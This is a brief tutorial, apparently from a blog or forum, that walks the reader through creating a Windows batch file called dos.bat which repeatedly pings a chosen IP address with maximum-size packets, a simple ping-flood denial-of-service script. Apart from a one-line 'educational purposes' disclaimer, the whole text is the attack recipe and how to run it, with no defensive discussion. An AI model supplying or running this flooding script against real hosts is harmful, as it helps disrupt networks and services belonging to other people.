Disclaimer: This is just for educational purposes. It’s nothing great but you can use it to learn.
Here are the steps:

• Open Notepad
• Copy the following text on the notepad

:loop
ping <IP Address> -l 65500 -w 1 -n 1
goto :loop

In the above command, replace <IP Address> with an IP address.

• Save the Notepad with any name. Let’s say dos.txt
• Right click on the dos.txt and click on rename.
• Change the extension from .txt to .bat
• So, now the file name should be dos.bat
• Double click on it and you will see a command prompt running with a lot of pings.
